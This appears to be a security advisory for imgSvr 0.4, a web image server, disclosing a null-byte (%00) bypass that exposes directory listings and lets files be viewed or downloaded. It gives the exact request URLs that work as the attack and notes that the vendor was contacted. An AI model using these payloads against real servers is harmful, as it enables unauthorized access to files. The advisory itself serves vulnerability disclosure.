Donato Ferrante

Application: imgSvr
http://adaimgsvr.sourceforge.net/

Version: 0.4

Bug: Index viewing

Author: Donato Ferrante
e-mail: fdonato (at) autistici (dot) org [email concealed]
web: www.autistici.org/fdonato

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

1. Description
2. The bug
3. The code
4. The fix

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

----------------
1. Description:
----------------

Vendor's description:

"ImgSvr is a Web image server, which allows users to browse digital
images. It is a full HTTP server, which is specifically designed for
image publishing."

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

------------
2. The bug:
------------

The program by default has some security checks that an attacker can
bypass, to:

[1] see the content of a web directory.

[2] see or download the files of a web directory.

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

-------------
3. The code:
-------------

To test the vulnerabilities:

[1]

To see the content of a directory:

http://[host]:1234/%00/
or:
http://[host]:1234/someDirectory/%00/

[2]

To see/download a file:

http://[host]:1234/someDirectory/someFile%00

NOTE: if the server will show a warning like:

ERROR Report

s-fileio.adb:955
Exception name: ADA.IO_EXCEPTIONS.DEVICE_ERROR Message:s-fileio.adb:955

send another time the request.

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

------------
4. The fix:
------------

Vendor was contacted.
Bug will be fixed in the next version.

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

[ reply ]